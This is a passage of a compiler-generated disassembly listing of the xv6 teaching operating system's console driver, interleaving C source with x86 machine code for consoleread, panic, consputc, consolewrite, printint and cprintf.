8010025c: c7 04 24 66 6d 10 80 movl $0x80106d66,(%esp)
80100263: e8 08 01 00 00 call 80100370 <panic>
...
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 2c sub $0x2c,%esp
80100279: 8b 5d 10 mov 0x10(%ebp),%ebx
8010027c: 8b 7d 08 mov 0x8(%ebp),%edi
8010027f: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
80100282: 89 3c 24 mov %edi,(%esp)
80100285: e8 f6 14 00 00 call 80101780 <iunlock>
target = n;
8010028a: 89 5d e4 mov %ebx,-0x1c(%ebp)
acquire(&cons.lock);
8010028d: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100294: e8 e7 3f 00 00 call 80104280 <acquire>
while(n > 0){
80100299: 31 c0 xor %eax,%eax
8010029b: 85 db test %ebx,%ebx
8010029d: 7f 29 jg 801002c8 <consoleread+0x58>
8010029f: eb 6a jmp 8010030b <consoleread+0x9b>
801002a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
while(input.r == input.w){
if(myproc()->killed){
801002a8: e8 83 34 00 00 call 80103730 <myproc>
801002ad: 8b 40 24 mov 0x24(%eax),%eax
801002b0: 85 c0 test %eax,%eax
801002b2: 75 7c jne 80100330 <consoleread+0xc0>
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp)
801002bb: 80
801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp)
801002c3: e8 c8 39 00 00 call 80103c90 <sleep>
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801002d3: 74 d3 je 801002a8 <consoleread+0x38>
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
801002d5: 89 c2 mov %eax,%edx
801002d7: 83 e2 7f and $0x7f,%edx
801002da: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx
801002e1: 0f be d1 movsbl %cl,%edx
801002e4: 89 55 dc mov %edx,-0x24(%ebp)
801002e7: 8d 50 01 lea 0x1(%eax),%edx
if(c == C('D')){ // EOF
801002ea: 83 7d dc 04 cmpl $0x4,-0x24(%ebp)
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
801002ee: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0
if(c == C('D')){ // EOF
801002f4: 74 5b je 80100351 <consoleread+0xe1>
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002f6: 88 0e mov %cl,(%esi)
--n;
801002f8: 83 eb 01 sub $0x1,%ebx
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002fb: 83 c6 01 add $0x1,%esi
--n;
if(c == '\n')
801002fe: 83 7d dc 0a cmpl $0xa,-0x24(%ebp)
80100302: 74 57 je 8010035b <consoleread+0xeb>
int c;
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
80100304: 85 db test %ebx,%ebx
80100306: 75 c0 jne 801002c8 <consoleread+0x58>
80100308: 8b 45 e4 mov -0x1c(%ebp),%eax
*dst++ = c;
--n;
if(c == '\n')
break;
}
release(&cons.lock);
8010030b: 89 45 e0 mov %eax,-0x20(%ebp)
8010030e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100315: e8 d6 3f 00 00 call 801042f0 <release>
ilock(ip);
8010031a: 89 3c 24 mov %edi,(%esp)
8010031d: e8 7e 13 00 00 call 801016a0 <ilock>
80100322: 8b 45 e0 mov -0x20(%ebp),%eax
return target - n;
}
80100325: 83 c4 2c add $0x2c,%esp
80100328: 5b pop %ebx
80100329: 5e pop %esi
8010032a: 5f pop %edi
8010032b: 5d pop %ebp
8010032c: c3 ret
8010032d: 8d 76 00 lea 0x0(%esi),%esi
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
if(myproc()->killed){
release(&cons.lock);
80100330: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100337: e8 b4 3f 00 00 call 801042f0 <release>
ilock(ip);
8010033c: 89 3c 24 mov %edi,(%esp)
8010033f: e8 5c 13 00 00 call 801016a0 <ilock>
}
release(&cons.lock);
ilock(ip);
return target - n;
}
80100344: 83 c4 2c add $0x2c,%esp
while(n > 0){
while(input.r == input.w){
if(myproc()->killed){
release(&cons.lock);
ilock(ip);
return -1;
80100347: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&cons.lock);
ilock(ip);
return target - n;
}
8010034c: 5b pop %ebx
8010034d: 5e pop %esi
8010034e: 5f pop %edi
8010034f: 5d pop %ebp
80100350: c3 ret
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
if(c == C('D')){ // EOF
if(n < target){
80100351: 39 5d e4 cmp %ebx,-0x1c(%ebp)
80100354: 76 05 jbe 8010035b <consoleread+0xeb>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
80100356: a3 a0 ff 10 80 mov %eax,0x8010ffa0
8010035b: 8b 45 e4 mov -0x1c(%ebp),%eax
8010035e: 29 d8 sub %ebx,%eax
80100360: eb a9 jmp 8010030b <consoleread+0x9b>
80100362: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100370 <panic>:
release(&cons.lock);
}
void
panic(char *s)
{
80100370: 55 push %ebp
80100371: 89 e5 mov %esp,%ebp
80100373: 56 push %esi
80100374: 53 push %ebx
80100375: 83 ec 40 sub $0x40,%esp
int i;
uint pcs[10];
cli();
cons.locking = 0;
80100378: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
8010037f: 00 00 00
}
static inline void
cli(void)
{
asm volatile("cli");
80100382: fa cli
// use lapiccpunum so that we can call panic from mycpu()
cprintf("lapicid %d: panic: ", lapicid());
80100383: e8 68 23 00 00 call 801026f0 <lapicid>
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
80100388: 8d 5d d0 lea -0x30(%ebp),%ebx
uint pcs[10];
cli();
cons.locking = 0;
// use lapiccpunum so that we can call panic from mycpu()
cprintf("lapicid %d: panic: ", lapicid());
8010038b: c7 04 24 6d 6d 10 80 movl $0x80106d6d,(%esp)
if(locking)
release(&cons.lock);
}
void
panic(char *s)
80100392: 8d 75 f8 lea -0x8(%ebp),%esi
uint pcs[10];
cli();
cons.locking = 0;
// use lapiccpunum so that we can call panic from mycpu()
cprintf("lapicid %d: panic: ", lapicid());
80100395: 89 44 24 04 mov %eax,0x4(%esp)
80100399: e8 b2 02 00 00 call 80100650 <cprintf>
cprintf(s);
8010039e: 8b 45 08 mov 0x8(%ebp),%eax
801003a1: 89 04 24 mov %eax,(%esp)
801003a4: e8 a7 02 00 00 call 80100650 <cprintf>
cprintf("\n");
801003a9: c7 04 24 97 76 10 80 movl $0x80107697,(%esp)
801003b0: e8 9b 02 00 00 call 80100650 <cprintf>
getcallerpcs(&s, pcs);
801003b5: 8d 45 08 lea 0x8(%ebp),%eax
801003b8: 89 5c 24 04 mov %ebx,0x4(%esp)
801003bc: 89 04 24 mov %eax,(%esp)
801003bf: e8 6c 3d 00 00 call 80104130 <getcallerpcs>
801003c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<10; i++)
cprintf(" %p", pcs[i]);
801003c8: 8b 03 mov (%ebx),%eax
801003ca: 83 c3 04 add $0x4,%ebx
801003cd: c7 04 24 81 6d 10 80 movl $0x80106d81,(%esp)
801003d4: 89 44 24 04 mov %eax,0x4(%esp)
801003d8: e8 73 02 00 00 call 80100650 <cprintf>
// use lapiccpunum so that we can call panic from mycpu()
cprintf("lapicid %d: panic: ", lapicid());
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801003dd: 39 f3 cmp %esi,%ebx
801003df: 75 e7 jne 801003c8 <panic+0x58>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801003e1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
801003e8: 00 00 00
801003eb: eb fe jmp 801003eb <panic+0x7b>
801003ed: 8d 76 00 lea 0x0(%esi),%esi
801003f0 <consputc>:
crt[pos] = ' ' | 0x0700;
}
void
consputc(int c)
{
801003f0: 55 push %ebp
801003f1: 89 e5 mov %esp,%ebp
801003f3: 57 push %edi
801003f4: 56 push %esi
801003f5: 89 c6 mov %eax,%esi
801003f7: 53 push %ebx
801003f8: 83 ec 1c sub $0x1c,%esp
if(panicked){
801003fb: 8b 15 58 a5 10 80 mov 0x8010a558,%edx
80100401: 85 d2 test %edx,%edx
80100403: 74 03 je 80100408 <consputc+0x18>
80100405: fa cli
80100406: eb fe jmp 80100406 <consputc+0x16>
cli();
for(;;)
;
}
if(c == BACKSPACE){
80100408: 3d 00 01 00 00 cmp $0x100,%eax
8010040d: 0f 84 ac 00 00 00 je 801004bf <consputc+0xcf>
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
80100413: 89 04 24 mov %eax,(%esp)
80100416: e8 75 54 00 00 call 80105890 <uartputc>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010041b: b9 d4 03 00 00 mov $0x3d4,%ecx
80100420: b8 0e 00 00 00 mov $0xe,%eax
80100425: 89 ca mov %ecx,%edx
80100427: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100428: bf d5 03 00 00 mov $0x3d5,%edi
8010042d: 89 fa mov %edi,%edx
8010042f: ec in (%dx),%al
{
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
pos = inb(CRTPORT+1) << 8;
80100430: 0f b6 d8 movzbl %al,%ebx
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100433: 89 ca mov %ecx,%edx
80100435: c1 e3 08 shl $0x8,%ebx
80100438: b8 0f 00 00 00 mov $0xf,%eax
8010043d: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010043e: 89 fa mov %edi,%edx
80100440: ec in (%dx),%al
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
80100441: 0f b6 c0 movzbl %al,%eax
80100444: 09 c3 or %eax,%ebx
if(c == '\n')
80100446: 83 fe 0a cmp $0xa,%esi
80100449: 0f 84 fd 00 00 00 je 8010054c <consputc+0x15c>
pos += 80 - pos%80;
else if(c == BACKSPACE){
8010044f: 81 fe 00 01 00 00 cmp $0x100,%esi
80100455: 0f 84 e3 00 00 00 je 8010053e <consputc+0x14e>
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010045b: 66 81 e6 ff 00 and $0xff,%si
80100460: 66 81 ce 00 07 or $0x700,%si
80100465: 66 89 b4 1b 00 80 0b mov %si,-0x7ff48000(%ebx,%ebx,1)
8010046c: 80
8010046d: 83 c3 01 add $0x1,%ebx
if(pos < 0 || pos > 25*80)
80100470: 81 fb d0 07 00 00 cmp $0x7d0,%ebx
80100476: 0f 87 b6 00 00 00 ja 80100532 <consputc+0x142>
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
8010047c: 81 fb 7f 07 00 00 cmp $0x77f,%ebx
80100482: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi
80100489: 7f 5d jg 801004e8 <consputc+0xf8>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010048b: b9 d4 03 00 00 mov $0x3d4,%ecx
80100490: b8 0e 00 00 00 mov $0xe,%eax
80100495: 89 ca mov %ecx,%edx
80100497: ee out %al,(%dx)
80100498: bf d5 03 00 00 mov $0x3d5,%edi
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
}
outb(CRTPORT, 14);
outb(CRTPORT+1, pos>>8);
8010049d: 89 d8 mov %ebx,%eax
8010049f: c1 f8 08 sar $0x8,%eax
801004a2: 89 fa mov %edi,%edx
801004a4: ee out %al,(%dx)
801004a5: b8 0f 00 00 00 mov $0xf,%eax
801004aa: 89 ca mov %ecx,%edx
801004ac: ee out %al,(%dx)
801004ad: 89 d8 mov %ebx,%eax
801004af: 89 fa mov %edi,%edx
801004b1: ee out %al,(%dx)
outb(CRTPORT, 15);
outb(CRTPORT+1, pos);
crt[pos] = ' ' | 0x0700;
801004b2: 66 c7 06 20 07 movw $0x720,(%esi)
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
cgaputc(c);
}
801004b7: 83 c4 1c add $0x1c,%esp
801004ba: 5b pop %ebx
801004bb: 5e pop %esi
801004bc: 5f pop %edi
801004bd: 5d pop %ebp
801004be: c3 ret
for(;;)
;
}
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
801004bf: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004c6: e8 c5 53 00 00 call 80105890 <uartputc>
801004cb: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004d2: e8 b9 53 00 00 call 80105890 <uartputc>
801004d7: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004de: e8 ad 53 00 00 call 80105890 <uartputc>
801004e3: e9 33 ff ff ff jmp 8010041b <consputc+0x2b>
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004e8: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801004ef: 00
pos -= 80;
801004f0: 8d 7b b0 lea -0x50(%ebx),%edi
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004f3: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp)
801004fa: 80
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801004fb: 8d b4 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%esi
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
80100502: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp)
80100509: e8 f2 3e 00 00 call 80104400 <memmove>
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
8010050e: b8 d0 07 00 00 mov $0x7d0,%eax
80100513: 29 d8 sub %ebx,%eax
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
pos -= 80;
80100515: 89 fb mov %edi,%ebx
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100517: 01 c0 add %eax,%eax
80100519: 89 44 24 08 mov %eax,0x8(%esp)
8010051d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100524: 00
80100525: 89 34 24 mov %esi,(%esp)
80100528: e8 13 3e 00 00 call 80104340 <memset>
8010052d: e9 59 ff ff ff jmp 8010048b <consputc+0x9b>
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
80100532: c7 04 24 85 6d 10 80 movl $0x80106d85,(%esp)
80100539: e8 32 fe ff ff call 80100370 <panic>
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
else if(c == BACKSPACE){
if(pos > 0) --pos;
8010053e: 31 c0 xor %eax,%eax
80100540: 85 db test %ebx,%ebx
80100542: 0f 9f c0 setg %al
80100545: 29 c3 sub %eax,%ebx
80100547: e9 24 ff ff ff jmp 80100470 <consputc+0x80>
pos = inb(CRTPORT+1) << 8;
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
8010054c: 89 d8 mov %ebx,%eax
8010054e: ba 67 66 66 66 mov $0x66666667,%edx
80100553: f7 ea imul %edx
80100555: c1 ea 05 shr $0x5,%edx
80100558: 8d 04 92 lea (%edx,%edx,4),%eax
8010055b: c1 e0 04 shl $0x4,%eax
8010055e: 8d 58 50 lea 0x50(%eax),%ebx
80100561: e9 0a ff ff ff jmp 80100470 <consputc+0x80>
80100566: 8d 76 00 lea 0x0(%esi),%esi
80100569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100570 <consolewrite>:
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100570: 55 push %ebp
80100571: 89 e5 mov %esp,%ebp
80100573: 57 push %edi
80100574: 56 push %esi
80100575: 53 push %ebx
80100576: 83 ec 1c sub $0x1c,%esp
int i;
iunlock(ip);
80100579: 8b 45 08 mov 0x8(%ebp),%eax
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
8010057c: 8b 75 10 mov 0x10(%ebp),%esi
8010057f: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
iunlock(ip);
80100582: 89 04 24 mov %eax,(%esp)
80100585: e8 f6 11 00 00 call 80101780 <iunlock>
acquire(&cons.lock);
8010058a: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100591: e8 ea 3c 00 00 call 80104280 <acquire>
for(i = 0; i < n; i++)
80100596: 85 f6 test %esi,%esi
80100598: 7e 16 jle 801005b0 <consolewrite+0x40>
8010059a: 31 db xor %ebx,%ebx
8010059c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
consputc(buf[i] & 0xff);
801005a0: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
801005a4: 83 c3 01 add $0x1,%ebx
consputc(buf[i] & 0xff);
801005a7: e8 44 fe ff ff call 801003f0 <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
801005ac: 39 f3 cmp %esi,%ebx
801005ae: 75 f0 jne 801005a0 <consolewrite+0x30>
consputc(buf[i] & 0xff);
release(&cons.lock);
801005b0: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801005b7: e8 34 3d 00 00 call 801042f0 <release>
ilock(ip);
801005bc: 8b 45 08 mov 0x8(%ebp),%eax
801005bf: 89 04 24 mov %eax,(%esp)
801005c2: e8 d9 10 00 00 call 801016a0 <ilock>
return n;
}
801005c7: 83 c4 1c add $0x1c,%esp
801005ca: 89 f0 mov %esi,%eax
801005cc: 5b pop %ebx
801005cd: 5e pop %esi
801005ce: 5f pop %edi
801005cf: 5d pop %ebp
801005d0: c3 ret
801005d1: eb 0d jmp 801005e0 <printint>
801005d3: 90 nop
801005d4: 90 nop
801005d5: 90 nop
801005d6: 90 nop
801005d7: 90 nop
801005d8: 90 nop
801005d9: 90 nop
801005da: 90 nop
801005db: 90 nop
801005dc: 90 nop
801005dd: 90 nop
801005de: 90 nop
801005df: 90 nop
801005e0 <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
801005e0: 55 push %ebp
801005e1: 89 e5 mov %esp,%ebp
801005e3: 56 push %esi
801005e4: 53 push %ebx
801005e5: 89 d3 mov %edx,%ebx
801005e7: 83 ec 10 sub $0x10,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
801005ea: 85 c9 test %ecx,%ecx
801005ec: 74 5a je 80100648 <printint+0x68>
801005ee: 85 c0 test %eax,%eax
801005f0: 79 56 jns 80100648 <printint+0x68>
x = -xx;
801005f2: f7 d8 neg %eax
801005f4: be 01 00 00 00 mov $0x1,%esi
else
x = xx;
i = 0;
801005f9: 31 c9 xor %ecx,%ecx
801005fb: eb 05 jmp 80100602 <printint+0x22>
801005fd: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
80100600: 89 d1 mov %edx,%ecx
80100602: 31 d2 xor %edx,%edx
80100604: f7 f3 div %ebx
80100606: 0f b6 92 b0 6d 10 80 movzbl -0x7fef9250(%edx),%edx
}while((x /= base) != 0);
8010060d: 85 c0 test %eax,%eax
else
x = xx;
i = 0;
do{
buf[i++] = digits[x % base];
8010060f: 88 54 0d e8 mov %dl,-0x18(%ebp,%ecx,1)
80100613: 8d 51 01 lea 0x1(%ecx),%edx
}while((x /= base) != 0);
80100616: 75 e8 jne 80100600 <printint+0x20>
if(sign)
80100618: 85 f6 test %esi,%esi
8010061a: 74 08 je 80100624 <printint+0x44>
buf[i++] = '-';
8010061c: c6 44 15 e8 2d movb $0x2d,-0x18(%ebp,%edx,1)
80100621: 8d 51 02 lea 0x2(%ecx),%edx
while(--i >= 0)
80100624: 8d 5a ff lea -0x1(%edx),%ebx
80100627: 90 nop
consputc(buf[i]);
80100628: 0f be 44 1d e8 movsbl -0x18(%ebp,%ebx,1),%eax
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
8010062d: 83 eb 01 sub $0x1,%ebx
consputc(buf[i]);
80100630: e8 bb fd ff ff call 801003f0 <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
80100635: 83 fb ff cmp $0xffffffff,%ebx
80100638: 75 ee jne 80100628 <printint+0x48>
consputc(buf[i]);
}
8010063a: 83 c4 10 add $0x10,%esp
8010063d: 5b pop %ebx
8010063e: 5e pop %esi
8010063f: 5d pop %ebp
80100640: c3 ret
80100641: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
uint x;
if(sign && (sign = xx < 0))
x = -xx;
else
x = xx;
80100648: 31 f6 xor %esi,%esi
8010064a: eb ad jmp 801005f9 <printint+0x19>
8010064c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100650 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
80100650: 55 push %ebp
80100651: 89 e5 mov %esp,%ebp
80100653: 57 push %edi
80100654: 56 push %esi
80100655: 53 push %ebx
80100656: 83 ec 2c sub $0x2c,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
80100659: 8b 3d 54 a5 10 80 mov 0x8010a554,%edi
if(locking)
8010065f: 85 ff test %edi,%edi
80100661: 0f 85 39 01 00 00 jne 801007a0 <cprintf+0x150>
acquire(&cons.lock);
if (fmt == 0)
80100667: 8b 4d 08 mov 0x8(%ebp),%ecx
8010066a: 85 c9 test %ecx,%ecx
8010066c: 0f 84 3f 01 00 00 je 801007b1 <cprintf+0x161>
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100672: 0f b6 01 movzbl (%ecx),%eax
80100675: 31 db xor %ebx,%ebx
80100677: 8d 75 0c lea 0xc(%ebp),%esi
8010067a: 85 c0 test %eax,%eax
8010067c: 0f 84 89 00 00 00 je 8010070b <cprintf+0xbb>
80100682: 89 7d e4 mov %edi,-0x1c(%ebp)
80100685: eb 3c jmp 801006c3 <cprintf+0x73>
80100687: 90 nop
continue;
}
c = fmt[++i] & 0xff;
if(c == 0)
break;
switch(c){
80100688: 83 fa 25 cmp $0x25,%edx
8010068b: 0f 84 f7 00 00 00 je 80100788 <cprintf+0x138>
80100691: 83 fa 64 cmp $0x64,%edx
80100694: 0f 84 ce 00 00 00 je 80100768 <cprintf+0x118>
case '%':
consputc('%');
break;
default:
// Print unknown % sequence to draw attention.
consputc('%');
8010069a: b8 25 00 00 00 mov $0x25,%eax
8010069f: 89 55 e0 mov %edx,-0x20(%ebp)
801006a2: e8 49 fd ff ff call 801003f0 <consputc>
consputc(c);
801006a7: 8b 55 e0 mov -0x20(%ebp),%edx
801006aa: 89 d0 mov %edx,%eax
801006ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801006b0: e8 3b fd ff ff call 801003f0 <consputc>
801006b5: 8b 4d 08 mov 0x8(%ebp),%ecx
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006b8: 83 c3 01 add $0x1,%ebx
801006bb: 0f b6 04 19 movzbl (%ecx,%ebx,1),%eax
801006bf: 85 c0 test %eax,%eax
801006c1: 74 45 je 80100708 <cprintf+0xb8>
if(c != '%'){
801006c3: 83 f8 25 cmp $0x25,%eax
801006c6: 75 e8 jne 801006b0 <cprintf+0x60>
consputc(c);
continue;
}
c = fmt[++i] & 0xff;
801006c8: 83 c3 01 add $0x1,%ebx
801006cb: 0f b6 14 19 movzbl (%ecx,%ebx,1),%edx
if(c == 0)
801006cf: 85 d2 test %edx,%edx
801006d1: 74 35 je 80100708 <cprintf+0xb8>
break;
switch(c){
801006d3: 83 fa 70 cmp $0x70,%edx
801006d6: 74 0f je 801006e7 <cprintf+0x97>
801006d8: 7e ae jle 80100688 <cprintf+0x38>
801006da: 83 fa 73 cmp $0x73,%edx
801006dd: 8d 76 00 lea 0x0(%esi),%esi
801006e0: 74 46 je 80100728 <cprintf+0xd8>
801006e2: 83 fa 78 cmp $0x78,%edx
801006e5: 75 b3 jne 8010069a <cprintf+0x4a>
case 'd':
printint(*argp++, 10, 1);
break;
case 'x':
case 'p':
printint(*argp++, 16, 0);
801006e7: 8b 06 mov (%esi),%eax
801006e9: 31 c9 xor %ecx,%ecx
801006eb: ba 10 00 00 00 mov $0x10,%edx
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006f0: 83 c3 01 add $0x1,%ebx
case 'd':
printint(*argp++, 10, 1);
break;
case 'x':
case 'p':
printint(*argp++, 16, 0);
801006f3: 83 c6 04 add $0x4,%esi
801006f6: e8 e5 fe ff ff call 801005e0 <printint>
801006fb: 8b 4d 08 mov 0x8(%ebp),%ecx
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006fe: 0f b6 04 19 movzbl (%ecx,%ebx,1),%eax
80100702: 85 c0 test %eax,%eax
80100704: 75 bd jne 801006c3 <cprintf+0x73>
80100706: 66 90 xchg %ax,%ax
80100708: 8b 7d e4 mov -0x1c(%ebp),%edi
consputc(c);
break;
}
}
if(locking)
8010070b: 85 ff test %edi,%edi
8010070d: 74 0c je 8010071b <cprintf+0xcb>
release(&cons.lock);
8010070f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100716: e8 d5 3b 00 00 call 801042f0 <release>
}
8010071b: 83 c4 2c add $0x2c,%esp
8010071e: 5b pop %ebx
8010071f: 5e pop %esi
80100720: 5f pop %edi
80100721: 5d pop %ebp
80100722: c3 ret
80100723: 90 nop
80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
80100728: 8b 16 mov (%esi),%edx
s = "(null)";
8010072a: b8 98 6d 10 80 mov $0x80106d98,%eax
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
8010072f: 83 c6 04 add $0x4,%esi
s = "(null)";
80100732: 85 d2 test %edx,%edx
80100734: 0f 44 d0 cmove %eax,%edx
for(; *s; s++)
80100737: 0f b6 02 movzbl (%edx),%eax
8010073a: 84 c0 test %al,%al
8010073c: 0f 84 76 ff ff ff je 801006b8 <cprintf+0x68>
80100742: 89 f7 mov %esi,%edi
80100744: 89 de mov %ebx,%esi
80100746: 89 d3 mov %edx,%ebx
consputc(*s);
80100748: 0f be c0 movsbl %al,%eax
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
8010074b: 83 c3 01 add $0x1,%ebx
consputc(*s);
8010074e: e8 9d fc ff ff call 801003f0 <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
80100753: 0f b6 03 movzbl (%ebx),%eax
80100756: 84 c0 test %al,%al
80100758: 75 ee jne 80100748 <cprintf+0xf8>
8010075a: 89 f3 mov %esi,%ebx
8010075c: 8b 4d 08 mov 0x8(%ebp),%ecx
8010075f: 89 fe mov %edi,%esi
80100761: e9 52 ff ff ff jmp 801006b8 <cprintf+0x68>
80100766: 66 90 xchg %ax,%ax
c = fmt[++i] & 0xff;
if(c == 0)
break;
switch(c){
case 'd':
printint(*argp++, 10, 1);
80100768: 8b 06 mov (%esi),%eax
8010076a: b9 01 00 00 00 mov $0x1,%ecx
8010076f: ba 0a 00 00 00 mov $0xa,%edx
80100774: 83 c6 04 add $0x4,%esi
80100777: e8 64 fe ff ff call 801005e0 <printint>
8010077c: 8b 4d 08 mov 0x8(%ebp),%ecx
break;
8010077f: e9 34 ff ff ff jmp 801006b8 <cprintf+0x68>
80100784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s = "(null)";
for(; *s; s++)
consputc(*s);
break;
case '%':
consputc('%');
80100788: b8 25 00 00 00 mov $0x25,%eax
